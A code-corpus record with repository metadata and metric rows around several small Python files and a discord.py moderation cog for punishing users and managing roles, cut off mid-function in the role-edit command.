0.476793
0
0
0
0
0.071429
1
0.071429
false
0
0.142857
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
325a80e2ef75df29f5f83b66a7bbf348f05caae6
125
py
Python
combinato-windows/css-prepare-sorting.py
marijeterwal/combinato
4ccac676279c1e0bc679d25529849e85323c36df
[ "MIT" ]
null
null
null
combinato-windows/css-prepare-sorting.py
marijeterwal/combinato
4ccac676279c1e0bc679d25529849e85323c36df
[ "MIT" ]
null
null
null
combinato-windows/css-prepare-sorting.py
marijeterwal/combinato
4ccac676279c1e0bc679d25529849e85323c36df
[ "MIT" ]
null
null
null
#!/usr/bin/env python from combinato.cluster.prepare import parse_arguments if __name__ == "__main__": parse_arguments()
25
53
0.768
16
125
5.375
0.875
0.325581
0
0
0
0
0
0
0
0
0
0
0.12
125
4
54
31.25
0.781818
0.16
0
0
0
0
0.076923
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
325ad75b9ecdfd2494a23df12cadf3bda692bb8a
95
py
Python
big-gan/test.py
shauray8/Clip-Gan
99ac73ae884ed9e30912b649132b886616bf7280
[ "MIT" ]
null
null
null
big-gan/test.py
shauray8/Clip-Gan
99ac73ae884ed9e30912b649132b886616bf7280
[ "MIT" ]
null
null
null
big-gan/test.py
shauray8/Clip-Gan
99ac73ae884ed9e30912b649132b886616bf7280
[ "MIT" ]
null
null
null
import torch import torch.nn as nn if __name__ == "__main__": print("Testing the model")
13.571429
30
0.694737
14
95
4.142857
0.785714
0.37931
0
0
0
0
0
0
0
0
0
0
0.2
95
6
31
15.833333
0.763158
0
0
0
0
0
0.263158
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.25
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
328f862f8601a7b2532e4f1615438811a5e93919
46
py
Python
src/cmdtree/exceptions.py
winkidney/cmdtree
8558be856f4c3044cf13d2d07a86b69877bb6491
[ "MIT" ]
63
2016-07-29T10:55:20.000Z
2021-06-28T09:11:48.000Z
src/cmdtree/exceptions.py
winkidney/cmdtree
8558be856f4c3044cf13d2d07a86b69877bb6491
[ "MIT" ]
3
2016-09-22T08:42:18.000Z
2016-12-10T12:02:01.000Z
src/cmdtree/exceptions.py
winkidney/cmdtree
8558be856f4c3044cf13d2d07a86b69877bb6491
[ "MIT" ]
3
2016-07-30T23:53:29.000Z
2016-08-30T11:03:39.000Z
class ArgumentParseError(ValueError): pass
23
37
0.804348
4
46
9.25
1
0
0
0
0
0
0
0
0
0
0
0
0.130435
46
2
38
23
0.925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
086e5ecb5213040c15cd4b8899640ca0b6ab16ff
86,915
py
Python
cogs/server_utils.py
EdVraz/antonstechbotv2
bf594bd1d7fbcb49a35e8b4ca71434d55e040c22
[ "MIT" ]
1
2021-11-07T15:44:49.000Z
2021-11-07T15:44:49.000Z
cogs/server_utils.py
EdVraz/antonstechbotv2
bf594bd1d7fbcb49a35e8b4ca71434d55e040c22
[ "MIT" ]
10
2021-11-08T17:58:18.000Z
2021-12-23T23:15:26.000Z
cogs/server_utils.py
EdVraz/antonstechbotv2
bf594bd1d7fbcb49a35e8b4ca71434d55e040c22
[ "MIT" ]
1
2021-11-07T17:13:56.000Z
2021-11-07T17:13:56.000Z
import asyncio import re import traceback from typing import Union import discord from discord.ext.commands import AutoShardedBot, Cog from discord_slash import ButtonStyle, ComponentContext, SlashContext, cog_ext from discord_slash.utils import manage_components from utils import punishments, utils class ServerUtils(Cog): """ This class is supposed to contain a lot of server based stuff like "channel create/delete" or "user punish/unpunish" """ def __init__(self, bot): self.bot: AutoShardedBot = bot utils.LOGGER.debug(f"Successfully loaded cog {self.__class__.__name__}") async def _get_role_permissions(self, ctx: ComponentContext, roleperm): sel = manage_components.create_select( placeholder="Choose the permissions you want for your role (1/2)", min_values=1, max_values=18, options=[ manage_components.create_select_option( label="add reactions to messages", value="add_reactions", ), manage_components.create_select_option( label="attach files to messages", value="attach_files", ), manage_components.create_select_option( label="ban members", value="ban_members", ), manage_components.create_select_option( label="change own nickname", value="change_nickname", ), manage_components.create_select_option( label="connect to voice channels", value="connect", ), manage_components.create_select_option( label="create instant invite to a channel", value="create_instant_invite", ), manage_components.create_select_option( label="deafen other members in voice channels", value="deafen_members", ), manage_components.create_select_option( label="embed links in channels", value="embed_links", ), manage_components.create_select_option( label="send external emojis", value="external_emojis", ), manage_components.create_select_option( label="kick members", value="kick_members", ), manage_components.create_select_option( label="manage channels on the server", value="manage_channels", ), manage_components.create_select_option( label="manage emojis of the server", value="manage_emojis", ), manage_components.create_select_option( label="manage guild", value="manage_guild", ), manage_components.create_select_option( label="manage messages", value="manage_messages", ), manage_components.create_select_option( label="manage all nicknames", value="manage_nicknames", ), manage_components.create_select_option( label="manage the permission of roles", value="manage_permissions", ), manage_components.create_select_option( label="manage roles and their permissions", value="manage_roles", ), manage_components.create_select_option( label="manage webhooks", value="manage_webhooks" ), ], ) selrow = manage_components.create_actionrow(sel) await ctx.edit_origin( content="Please choose the permissions you want to assign to the role (1/2)", components=[selrow], ) try: firstperms = await manage_components.wait_for_component( self.bot, components=[selrow], timeout=600, check=lambda msg: msg.author.id == ctx.author.id, ) await firstperms.defer(edit_origin=True) except asyncio.TimeoutError: selrow["components"][0]["disabled"] = True await ctx.origin_message.edit("Timed out.", components=[selrow]) return roleperm.add_reactions = True if "add_reactions" in firstperms.selected_options else False roleperm.attach_files = True if "attach_files" in firstperms.selected_options else False roleperm.ban_members = True if "ban_members" in firstperms.selected_options else False roleperm.change_nickname = ( True if "change_nickname" in firstperms.selected_options else False ) roleperm.connect = True if "connect" in firstperms.selected_options else False roleperm.create_instant_invite = ( True if "create_instant_invite" in firstperms.selected_options else False ) roleperm.deafen_members = True if "deafen_members" in firstperms.selected_options else False roleperm.embed_links = True if "embed_links" in firstperms.selected_options else False roleperm.external_emojis = ( True if "external_emojis" in firstperms.selected_options else False ) roleperm.kick_members = True if "kick_members" in firstperms.selected_options else False roleperm.manage_channels = ( True if "manage_channels" in firstperms.selected_options else False ) roleperm.manage_emojis = True if "manage_emojis" in firstperms.selected_options else False roleperm.manage_guild = True if "manage_guild" in firstperms.selected_options else False roleperm.manage_messages = ( True if "manage_messages" in firstperms.selected_options else False ) roleperm.manage_nicknames = ( True if "manage_nicknames" in firstperms.selected_options else False ) roleperm.manage_permissions = ( True if "manage_permissions" in firstperms.selected_options else False ) roleperm.manage_roles = True if "manage_roles" in firstperms.selected_options else False roleperm.manage_webhooks = ( True if "manage_webhooks" in firstperms.selected_options else False ) sel2 = manage_components.create_select( placeholder="Choose the permissions you want for your role (2/2)", max_values=17, min_values=1, options=[ manage_components.create_select_option( label="mention everyone in a message", value="mention_everyone", ), manage_components.create_select_option( label="move members across voice channels", value="move_members", ), manage_components.create_select_option( label="mute members in voice channels", value="mute_members", ), manage_components.create_select_option( label="priority speaker", value="priority_speaker", ), manage_components.create_select_option( label="read message history in channels", value="read_message_history", ), manage_components.create_select_option( label="read all messages in channels", value="read_messages", ), manage_components.create_select_option( label="request to speak in stage channels", value="request_to_speak", ), manage_components.create_select_option( label="send messages in channels", value="send_messages", ), manage_components.create_select_option( label="send TTS messages in channels", value="send_tts_messages", ), manage_components.create_select_option( label="speak in voice channels", value="speak", ), manage_components.create_select_option( label="stream in voice channels / enable camera", value="stream", ), manage_components.create_select_option( label="use external emojis", value="use_external_emojis", ), manage_components.create_select_option( label="use slash commands in channels", value="use_slash_commands", ), manage_components.create_select_option( label="use voice activation in voice channels (else only push-to-talk)", value="use_voice_activation", ), manage_components.create_select_option( label="view the audit-log", value="view_audit_log", ), manage_components.create_select_option( label="view channels", value="view_channel", ), manage_components.create_select_option( label="view guild insights", value="view_guild_insights", ), ], ) sel2row = manage_components.create_actionrow(sel2) await firstperms.edit_origin( content="Please choose the permissions you want to assign to the role (2/2)", components=[sel2row], ) try: secondperms = await manage_components.wait_for_component( self.bot, components=[sel2row], timeout=600, check=lambda msg: msg.author.id == ctx.author.id, ) await secondperms.defer(edit_origin=True) except asyncio.TimeoutError: sel2row["components"][0]["disabled"] = True await firstperms.origin_message.edit("Timed out.", components=[sel2row]) return roleperm.mention_everyone = ( True if "mention_everyone" in secondperms.selected_options else False ) roleperm.move_members = True if "move_members" in secondperms.selected_options else False roleperm.mute_members = True if "mute_members" in secondperms.selected_options else False roleperm.priority_speaker = ( True if "priority_speaker" in secondperms.selected_options else False ) roleperm.read_message_history = ( True if "read_message_history" in secondperms.selected_options else False ) roleperm.read_messages = True if "read_messages" in secondperms.selected_options else False roleperm.request_to_speak = ( True if "request_to_speak" in secondperms.selected_options else False ) roleperm.send_messages = True if "send_messages" in secondperms.selected_options else False roleperm.send_tts_messages = ( True if "send_tts_messages" in secondperms.selected_options else False ) roleperm.speak = True if "speak" in secondperms.selected_options else False roleperm.stream = True if "stream" in secondperms.selected_options else False roleperm.use_external_emojis = ( True if "use_external_emojis" in secondperms.selected_options else False ) roleperm.use_slash_commands = ( True if "use_slash_commands" in secondperms.selected_options else False ) roleperm.use_voice_activation = ( True if "use_voice_activation" in secondperms.selected_options else False ) roleperm.view_audit_log = ( True if "view_audit_log" in secondperms.selected_options else False ) roleperm.view_channel = True if "view_channel" in secondperms.selected_options else False roleperm.view_guild_insights = ( True if "view_guild_insights" in secondperms.selected_options else False ) return roleperm, sel2row, secondperms pun_opt = [{"name": "user", "description": "The user to punish", "required": True, "type": 6}] @cog_ext.cog_subcommand( base="server", subcommand_group="user", name="punish", description="punishes a user", options=pun_opt, ) async def _user_punish(self, ctx: SlashContext, user: discord.Member): # add moderator permission restriction await ctx.defer(hidden=False) # This command is **not** hidden, so the user can see that he is being punished user_setbtn1 = [ manage_components.create_button(label="BAN", style=ButtonStyle.red, custom_id="ban"), manage_components.create_button(label="KICK", style=ButtonStyle.red, custom_id="kick"), ] user_setbtn2 = [ manage_components.create_button(label="WARN", style=ButtonStyle.blue, custom_id="warn"), manage_components.create_button(label="MUTE", style=ButtonStyle.blue, custom_id="mute"), ] user_setbtn3 = [ manage_components.create_button( label="Do nothing", style=ButtonStyle.gray, custom_id="nothing" ) ] user_buttons_actionrow1 = manage_components.create_actionrow(*user_setbtn1) user_buttons_actionrow2 = manage_components.create_actionrow(*user_setbtn2) user_buttons_actionrow3 = manage_components.create_actionrow(*user_setbtn3) if ( not ctx.author.guild_permissions.ban_members and not ctx.author.guild_permissions.kick_members and not ctx.author.guild_permissions.manage_messages ): raise discord.ext.commands.MissingPermissions( missing_perms=["manage_messages", "ban_members", "kick_members"] ) # raise some error you like if ( not ctx.author.guild_permissions.ban_members or not ctx.author.guild_permissions.kick_members ): for i in range(2): user_buttons_actionrow1["components"][i]["disabled"] = True message = await ctx.send( f"What do you want to do with {user.mention}? (timeout: 60 seconds)", hidden=False, components=[ user_buttons_actionrow1, user_buttons_actionrow2, user_buttons_actionrow3, ], ) try: buttons: ComponentContext = await manage_components.wait_for_component( self.bot, components=[ user_buttons_actionrow1, user_buttons_actionrow2, user_buttons_actionrow3, ], timeout=60, check=lambda msg: ctx.author.id == msg.author.id, ) await buttons.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(2): user_buttons_actionrow1["components"][i]["disabled"] = True user_buttons_actionrow2["components"][i]["disabled"] = True user_buttons_actionrow3["components"][0]["disabled"] = True await message.edit( content="Timed out.", components=[ user_buttons_actionrow1, user_buttons_actionrow2, user_buttons_actionrow3, ], ) # Disable the Buttons return if buttons.component_id == "mute": mute_btn = [ manage_components.create_button( label="Minutes", style=ButtonStyle.red, custom_id="m" ), manage_components.create_button( label="Hours", style=ButtonStyle.red, custom_id="h" ), manage_components.create_button(label="Days", style=ButtonStyle.red, custom_id="d"), manage_components.create_button( label="Cancel", style=ButtonStyle.gray, custom_id="c" ), ] mute_actionrow = manage_components.create_actionrow(*mute_btn) await buttons.edit_origin( content="Do you want to mute the user for a minutes, hours or days?", hidden=True, components=[mute_actionrow], ) mute_btn_ctx: ComponentContext = ( await manage_components.manage_components.wait_for_component( self.bot, components=mute_actionrow, check=lambda msg: msg.author.id == buttons.author.id, ) ) await mute_btn_ctx.defer(edit_origin=True) if mute_btn_ctx.component_id == "c": for i in range(4): mute_actionrow["components"][i]["disabled"] = True await mute_btn_ctx.edit_origin( content="ok, cancelled", hidden=True, components=[mute_actionrow] ) if mute_btn_ctx.component_id == "m": times1 = [ manage_components.create_button( label="5", style=ButtonStyle.red, custom_id="5" ), manage_components.create_button( label="10", style=ButtonStyle.red, custom_id="10" ), manage_components.create_button( label="15", style=ButtonStyle.red, custom_id="15" ), manage_components.create_button( label="20", style=ButtonStyle.red, custom_id="20" ), ] times2 = [ manage_components.create_button( label="25", style=ButtonStyle.red, custom_id="25" ), manage_components.create_button( label="30", style=ButtonStyle.red, custom_id="30" ), manage_components.create_button( label="35", style=ButtonStyle.red, custom_id="35" ), manage_components.create_button( label="40", style=ButtonStyle.red, custom_id="40" ), ] times3 = [ manage_components.create_button( label="45", style=ButtonStyle.red, custom_id="45" ), manage_components.create_button( label="50", style=ButtonStyle.red, custom_id="50" ), manage_components.create_button( label="55", style=ButtonStyle.red, custom_id="55" ), manage_components.create_button( label="60", style=ButtonStyle.red, custom_id="60" ), ] times1_row = manage_components.create_actionrow(*times1) times2_row = manage_components.create_actionrow(*times2) times3_row = manage_components.create_actionrow(*times3) await mute_btn_ctx.edit_origin( content="Select the duration of the mute! (timeout: 180s)", hidden=True, components=[times1_row, times2_row, times3_row], ) try: times_ctx: ComponentContext = ( await manage_components.manage_components.wait_for_component( self.bot, components=[times1_row, times2_row, times3_row], check=lambda msg: msg.author.id == mute_btn_ctx.author.id, timeout=180, ) ) await times_ctx.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(4): times1_row["components"][i]["disabled"] = True times2_row["components"][i]["disabled"] = True times3_row["components"][i]["disabled"] = True await mute_btn_ctx.origin_message.edit( content="Timed out.", hidden=True, components=[times1_row, times2_row, times3_row], ) return for i in range(4): times1_row["components"][i]["disabled"] = True times2_row["components"][i]["disabled"] = True times3_row["components"][i]["disabled"] = True dur = int(times_ctx.component_id) await times_ctx.edit_origin( content=f"{user.mention} is going to be muted for {dur} minutes", hidden=False, components=[times1_row, times2_row, times3_row], ) await punishments.mute(ctx, user, dur, "m") if mute_btn_ctx.component_id == "h": times1 = [ manage_components.create_button( style=ButtonStyle.red, label="1", custom_id="1" ), manage_components.create_button( style=ButtonStyle.red, label="2", custom_id="2" ), manage_components.create_button( style=ButtonStyle.red, label="3", custom_id="3" ), manage_components.create_button( style=ButtonStyle.red, label="4", custom_id="4" ), manage_components.create_button( style=ButtonStyle.red, label="5", custom_id="5" ), ] times2 = [ manage_components.create_button( style=ButtonStyle.red, label="6", custom_id="6" ), manage_components.create_button( style=ButtonStyle.red, label="7", custom_id="7" ), manage_components.create_button( style=ButtonStyle.red, label="8", custom_id="8" ), manage_components.create_button( style=ButtonStyle.red, label="9", custom_id="9" ), manage_components.create_button( style=ButtonStyle.red, label="10", custom_id="10" ), ] times3 = [ manage_components.create_button( style=ButtonStyle.red, label="11", custom_id="11" ), manage_components.create_button( style=ButtonStyle.red, label="12", custom_id="12" ), manage_components.create_button( style=ButtonStyle.red, label="13", custom_id="13" ), manage_components.create_button( style=ButtonStyle.red, label="14", custom_id="14" ), manage_components.create_button( style=ButtonStyle.red, label="15", custom_id="15" ), ] times4 = [ manage_components.create_button( style=ButtonStyle.red, label="16", custom_id="16" ), manage_components.create_button( style=ButtonStyle.red, label="17", custom_id="17" ), manage_components.create_button( style=ButtonStyle.red, label="18", custom_id="18" ), manage_components.create_button( style=ButtonStyle.red, label="19", custom_id="19" ), manage_components.create_button( style=ButtonStyle.red, label="20", custom_id="20" ), ] times5 = [ manage_components.create_button( style=ButtonStyle.red, label="21", custom_id="21" ), manage_components.create_button( style=ButtonStyle.red, label="22", custom_id="22" ), manage_components.create_button( style=ButtonStyle.red, label="23", custom_id="23" ), manage_components.create_button( style=ButtonStyle.red, label="24", custom_id="24" ), ] times1_row = manage_components.create_actionrow(*times1) times2_row = manage_components.create_actionrow(*times2) times3_row = manage_components.create_actionrow(*times3) times4_row = manage_components.create_actionrow(*times4) times5_row = manage_components.create_actionrow(*times5) await mute_btn_ctx.edit_origin( content="Select the duration of the mute! (timeout: 180s)", hidden=True, components=[times1_row, times2_row, times3_row, times4_row, times5_row], ) try: times_ctx: ComponentContext = ( await manage_components.manage_components.wait_for_component( self.bot, components=[times1_row, times2_row, times3_row, times4_row, times5_row], check=lambda msg: mute_btn_ctx.author.id == msg.author.id, timeout=180, ) ) await times_ctx.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(5): times1_row["components"][i]["disabled"] = True times2_row["components"][i]["disabled"] = True times3_row["components"][i]["disabled"] = True times4_row["components"][i]["disabled"] = True for i in range(4): times5_row["components"][i]["disabled"] = True await mute_btn_ctx.origin_message.edit( content="Timed out.", hidden=True, components=[times1_row, times2_row, times3_row, times4_row, times5_row], ) return for i in range(5): times1_row["components"][i]["disabled"] = True times2_row["components"][i]["disabled"] = True times3_row["components"][i]["disabled"] = True times4_row["components"][i]["disabled"] = True for i in range(4): times5_row["components"][i]["disabled"] = True dur = int(times_ctx.component_id) await times_ctx.edit_origin( content=f"{user.mention} is going to be muted for {dur} hours", hidden=False, components=[times1_row, times2_row, times3_row, times4_row, times5_row], ) await punishments.mute(ctx, user, dur, "h") if mute_btn_ctx.component_id == "d": times1 = [ manage_components.create_button( style=ButtonStyle.red, label="1", custom_id="1" ), manage_components.create_button( style=ButtonStyle.red, label="2", custom_id="2" ), manage_components.create_button( style=ButtonStyle.red, label="3", custom_id="3" ), manage_components.create_button( style=ButtonStyle.red, label="4", custom_id="4" ), manage_components.create_button( style=ButtonStyle.red, label="5", custom_id="5" ), ] times2 = [ manage_components.create_button( style=ButtonStyle.red, label="6", custom_id="6" ), manage_components.create_button( style=ButtonStyle.red, label="7", custom_id="7" ), manage_components.create_button( style=ButtonStyle.red, label="8", custom_id="8" ), manage_components.create_button( style=ButtonStyle.red, label="9", custom_id="9" ), manage_components.create_button( style=ButtonStyle.red, label="10", custom_id="10" ), ] times3 = [ manage_components.create_button( style=ButtonStyle.red, label="11", custom_id="11" ), manage_components.create_button( style=ButtonStyle.red, label="12", custom_id="12" ), manage_components.create_button( style=ButtonStyle.red, label="13", custom_id="13" ), manage_components.create_button( style=ButtonStyle.red, label="14", custom_id="14" ), manage_components.create_button( style=ButtonStyle.red, label="15", custom_id="15" ), ] times4 = [ manage_components.create_button( style=ButtonStyle.red, label="16", custom_id="16" ), manage_components.create_button( style=ButtonStyle.red, label="17", custom_id="17" ), manage_components.create_button( style=ButtonStyle.red, label="18", custom_id="18" ), manage_components.create_button( style=ButtonStyle.red, label="19", custom_id="19" ), manage_components.create_button( style=ButtonStyle.red, label="20", custom_id="20" ), ] times5 = [ manage_components.create_button( style=ButtonStyle.red, label="21", custom_id="21" ), manage_components.create_button( style=ButtonStyle.red, label="22", custom_id="22" ), manage_components.create_button( style=ButtonStyle.red, label="23", custom_id="23" ), manage_components.create_button( style=ButtonStyle.red, label="24", custom_id="24" ), manage_components.create_button( style=ButtonStyle.red, label="25", custom_id="25" ), ] times1_row = manage_components.create_actionrow(*times1) times2_row = manage_components.create_actionrow(*times2) times3_row = manage_components.create_actionrow(*times3) times4_row = manage_components.create_actionrow(*times4) times5_row = manage_components.create_actionrow(*times5) await mute_btn_ctx.edit_origin( content="Select the duration of the mute! (timeout: 180s)", hidden=True, components=[times1_row, times2_row, times3_row, times4_row, times5_row], ) try: times_ctx: ComponentContext = ( await manage_components.manage_components.wait_for_component( self.bot, components=[times1_row, times2_row, times3_row, times4_row, times5_row], check=lambda msg: mute_btn_ctx.author.id == msg.author.id, timeout=180, ) ) await times_ctx.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(5): times1_row["components"][i]["disabled"] = True times2_row["components"][i]["disabled"] = True times3_row["components"][i]["disabled"] = True times4_row["components"][i]["disabled"] = True times5_row["components"][i]["disabled"] = True await mute_btn_ctx.origin_message.edit( content="Timed out.", hidden=True, components=[times1_row, times2_row, times3_row, times4_row, times5_row], ) return for i in range(5): times1_row["components"][i]["disabled"] = True times2_row["components"][i]["disabled"] = True times3_row["components"][i]["disabled"] = True times4_row["components"][i]["disabled"] = True times5_row["components"][i]["disabled"] = True dur = int(times_ctx.component_id) await times_ctx.edit_origin( content=f"{user.mention} is going to be muted for {dur} days", hidden=False, components=[times1_row, times2_row, times3_row, times4_row, times5_row], ) await punishments.mute(ctx, user, dur, "d") if buttons.component_id == "warn": await buttons.edit_origin( content="please send a message with the reason of the warning! (timeout: 600s)", components=[], ) try: a = await self.bot.wait_for( "message", check=lambda msg: msg.author.id == buttons.author.id, timeout=600 ) except asyncio.TimeoutError: await buttons.origin_message.edit("Timed out, process canceled.") return reason = str(a.content) await a.delete() await buttons.origin_message.delete() await punishments.warn(ctx, user, reason) if buttons.component_id == "kick": await buttons.edit_origin( content="please send a message with the reason of the kick! (timeout: 600s)", components=[], ) try: a = await self.bot.wait_for( "message", check=lambda msg: msg.author.id == buttons.author.id, timeout=600 ) except asyncio.TimeoutError: await buttons.origin_message.edit("Timed out, process canceled.") return reason = str(a.content) await a.delete() await buttons.origin_message.delete() await punishments.kick(ctx, user, reason) if buttons.component_id == "ban": await buttons.edit_origin( content="please send a message with the reason of the ban! (timeout: 600s)", components=[], ) try: a = await self.bot.wait_for( "message", check=lambda msg: msg.author.id == buttons.author.id, timeout=600 ) except asyncio.TimeoutError: await buttons.origin_message.edit("Timed out, process canceled.") return reason = str(a.content) await a.delete() await buttons.origin_message.delete() await punishments.ban(ctx, user, reason) if buttons.component_id == "nothing": for i in range(2): user_buttons_actionrow1["components"][i]["disabled"] = True user_buttons_actionrow2["components"][i]["disabled"] = True user_buttons_actionrow3["components"][0]["disabled"] = True await buttons.edit_origin( content="ok nothing will happen", components=[ user_buttons_actionrow1, user_buttons_actionrow2, user_buttons_actionrow3, ], ) @cog_ext.cog_subcommand( base="server", subcommand_group="user", name="unban", description="unbans a user" ) async def _unban( self, ctx: SlashContext, user_id: str, reason: str ): # in theory discord-slash should automatically create options for that user_id = int(user_id) user: discord.User = await self.bot.fetch_user(user_id) reason1 = f"User {ctx.author.name} used the unban command on {user.name}! \n Unban-Reason: {reason}" await ctx.guild.unban(user=user, reason=reason1) await ctx.send(f"unbanned {user.mention}!") # @cog_ext.cog_subcommand(base="server", subcommand_group="user", name="un-punish", description="un-punishes a user") # TODO: work on this when mute and warn system done radd_opt = [ { "name": "user", "description": "the user to add the role to", "required": True, "type": 6, }, { "name": "role", "description": "the role to add", "type": 8, "required": True, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="user", name="add-role", description="adds a role to a user", options=radd_opt, ) async def _role_add(self, ctx: SlashContext, user: discord.Member, role: discord.Role): if not ctx.author.guild_permissions.manage_roles: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_roles"]) await user.add_roles( role, reason=f"User {ctx.author.name} used the add-role command on {user.name}!" ) await ctx.send("Done!") rrem_opt = [ { "name": "user", "description": "the user to remove the role from", "required": True, "type": 6, }, { "name": "role", "description": "the role to remove", "type": 8, "required": True, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="user", name="remove-role", description="removes a role from a user", options=rrem_opt, ) async def _role_remove(self, ctx: SlashContext, user: discord.Member, role: discord.Role): if not ctx.author.guild_permissions.manage_roles: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_roles"]) await user.remove_roles( role, reason=f"User {ctx.author.name} used the remove-role command on {user.name}!" ) await ctx.send("Done!") rcre_opt = [ { "name": "name", "description": "the name of the role", "required": True, "type": 3, }, { "name": "color", "description": "the colour of the role (hex code)", "type": 3, "required": True, }, { "name": "hoist", "description": "whether the role should be shown separately in the member list, default False", "required": False, "type": 5, }, { "name": "mentionable", "description": "whether everyone should be able to mention the role, default False", "required": False, "type": 5, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="role", name="create", description="creates a role", options=rcre_opt, ) async def _create_role( self, ctx: SlashContext, name: str, color: str, hoist: bool = False, mentionable: bool = False, ): if not ctx.author.guild_permissions.manage_roles: raise discord.ext.commands.errors.MissingPermissions(missing_perms=["manage_roles"]) match = re.search(r"^#(?:[0-9a-fA-F]{3}){1,2}$", color) # check if color is hex if not match: raise discord.ext.commands.BadArgument("color is not a hex-color code") hexval = color.lstrip("#") rgbval = tuple(bytes.fromhex(hexval)) await ctx.defer(hidden=False) roleperm = discord.Permissions().none() color = discord.Colour.from_rgb(r=rgbval[0], g=rgbval[1], b=rgbval[2]) anypermbutton = [ manage_components.create_button(label="Yes", style=ButtonStyle.green, custom_id="yes"), manage_components.create_button(label="No", style=ButtonStyle.red, custom_id="no"), ] adminbutton = [ manage_components.create_button(label="Yes", style=ButtonStyle.green, custom_id="yes"), manage_components.create_button(label="No", style=ButtonStyle.red, custom_id="no"), ] any_ar = manage_components.create_actionrow(*anypermbutton) adm_ar = manage_components.create_actionrow(*adminbutton) ask = await ctx.send( "Do you want to have any Permission enabled on your role?", components=[any_ar] ) try: answer: ComponentContext = await manage_components.wait_for_component( self.bot, components=[any_ar], timeout=600, check=lambda msg: ctx.author.id == msg.author.id, ) await answer.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(2): any_ar["components"][i]["disabled"] = True await ask.edit(content="Timed out.", components=[any_ar]) return if answer.component_id == "no": for i in range(2): any_ar["components"][i]["disabled"] = True await answer.edit_origin( content=f"creating role '{name}' with the color #{hexval} and no permissions....", components=[any_ar], ) await ctx.guild.create_role( name=name, color=color, permissions=roleperm, hoist=hoist, mentionable=mentionable, reason=f"User {ctx.author.name} used the create-role command!", ) await ctx.channel.send("Done") return else: pass await answer.edit_origin( content="Do you want the role to have administrator-permissions?", components=[adm_ar] ) try: admin: ComponentContext = await manage_components.wait_for_component( self.bot, components=[adm_ar], timeout=600, check=lambda msg: msg.author.id == ctx.author.id, ) await admin.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(2): adm_ar["components"][i]["disabled"] = True await answer.origin_message.edit(content="Timed out.", components=[adm_ar]) return if admin.component_id == "yes": roleperm.administrator = True for i in range(2): adm_ar["components"][i]["disabled"] = True await admin.edit_origin( content=f"creating role '{name}' with the color #{hexval} and administrator permissions....", components=[adm_ar], ) await ctx.guild.create_role( name=name, color=color, permissions=roleperm, hoist=hoist, mentionable=mentionable, reason=f"User {ctx.author.name} used the create-role command!", ) await ctx.channel.send("Done") return else: try: roleperm, sel2row, secondperms = await self._get_role_permissions( ctx=admin, roleperm=roleperm ) except ValueError: # on timeout no values returned, just do nothing then return sel2row["components"][0]["disabled"] = True await secondperms.edit_origin( content=f"Role '{name}' with color #{hexval} and your custom permissions, which have the value {roleperm.value}, is being created", components=[sel2row], ), await ctx.guild.create_role( name=name, color=color, permissions=roleperm, hoist=hoist, mentionable=mentionable, reason=f"User {ctx.author.name} used the create-role command!", ) await ctx.channel.send("Done!") redt_opt = [ { "name": "role", "description": "the role you want to edit", "required": True, "type": 8, }, { "name": "name", "description": "the new name of the role", "required": False, "type": 3, }, { "name": "color", "description": "the new colour of the role (hex code)", "type": 3, "required": False, }, { "name": "hoist", "description": "whether the role should be shown separately in the member list", "required": False, "type": 5, }, { "name": "mentionable", "description": "whether everyone should be able to mention the role", "required": False, "type": 5, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="role", name="edit", description="edits a role", options=redt_opt, ) async def _role_edit( self, ctx: SlashContext, role: discord.Role, name: str = None, color: str = None, hoist: bool = None, mentionable: bool = None, ): if not ctx.author.guild_permissions.manage_roles: raise discord.ext.commands.errors.MissingPermissions(missing_perms=["manage_roles"]) if not name: name = role.name if not hoist: hoist = role.hoist if not mentionable: mentionable = role.mentionable if color: match = re.search(r"^#(?:[0-9a-fA-F]{3}){1,2}$", color) # check if color is hex if not match: raise discord.ext.commands.BadArgument("color is not a hex-color code") await ctx.defer(hidden=False) hexval = color.lstrip("#") rgbval = tuple(bytes.fromhex(hexval)) color = discord.Colour.from_rgb(r=rgbval[0], g=rgbval[1], b=rgbval[2]) elif not color: await ctx.defer(hidden=False) color = role.colour perm_edt = [ manage_components.create_button( label="Yes", style=ButtonStyle.green, custom_id="yes", ), manage_components.create_button( label="No", style=ButtonStyle.red, custom_id="no", ), ] perm_ar = manage_components.create_actionrow(*perm_edt) adminbutton = [ manage_components.create_button(label="Yes", style=ButtonStyle.green, custom_id="yes"), manage_components.create_button(label="No", style=ButtonStyle.red, custom_id="no"), ] adm_ar = manage_components.create_actionrow(*adminbutton) msg = await ctx.send( "Do you want to edit the permissions of the role?", components=[perm_ar] ) try: perm: ComponentContext = await manage_components.wait_for_component( self.bot, components=[perm_ar], timeout=600, check=lambda m: m.author.id == ctx.author.id, ) await perm.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(2): perm_ar["components"][i]["disabled"] = True await msg.edit(content="Timed out.", components=[perm_ar]) return if perm.custom_id == "no": roleperm = role.permissions for i in range(2): perm_ar["components"][i]["disabled"] = True await perm.edit_origin( content="editing the role without changing permissions?", components=[perm_ar] ) await role.edit( permissions=roleperm, name=name, hoist=hoist, 